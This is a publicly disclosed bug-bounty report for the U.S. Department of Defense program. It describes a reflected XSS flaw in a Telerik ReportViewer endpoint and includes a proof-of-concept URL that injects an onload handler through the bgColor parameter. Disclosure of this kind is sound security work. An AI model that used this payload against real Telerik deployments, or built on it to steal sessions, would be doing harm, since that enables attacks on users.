HexBrain

U.S. Dept Of Defense · Report #1223575

XSS Reflected - ███

Validstatus
mediumseverity
3upvotes
7 Apr 2022disclosed

How it was found

Hi Team,

I found a XSS Reflected.

https://██████/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)

Thans DRauschkolb

Impact

XSS vulnerabilities can be used to trick a web user into executing a malicious script, potentially revealing a user's web session information or modify web content & even steal cookies.

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

https://█████/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original